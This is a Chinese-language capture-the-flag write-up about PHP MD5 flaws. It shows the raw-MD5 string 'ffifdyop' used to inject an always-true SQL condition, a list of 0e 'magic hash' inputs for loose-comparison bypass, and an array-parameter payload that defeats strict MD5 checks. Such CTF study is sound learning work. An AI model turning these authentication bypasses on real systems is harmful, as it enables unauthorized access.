目录
信息收集
构造payload
PHP弱类型hash比较缺陷
0e碰撞
数组MD5
总结
信息收集
看题目应该和MD5加密相关
select * from 'admin' where password=md5($pass,true)
PHP的MD5函数
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式:
|
构造payload
<?php
$str = "ffifdyop";
echo "字符串:".$str."<br>";
echo md5($str, TRUE);
echo "<br>";
echo md5($str);
?>
字符串:ffifdyop
'or'6�]��!r,��b
276f722736c95d99e921722cf9ed621c
即此时执行语句为select * from 'admin' where pass=''or'6�]��!r,��b'
根据sql语句的弱等于规则,此刻判定为1永真,进入admin
查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
PHP弱类型hash比较缺陷
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头,在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码。
0e碰撞
常见0e开头的MD5
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
payload
?a=240610708&b=QNKCDZO
跳转到以下页面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
数组MD5
payload
param1[]=1¶m2[]=2
原理
md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。看下面的示例,是返回了yes的。(题目中就传入 ?param1[]=1¶m2[]=2)
总结
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null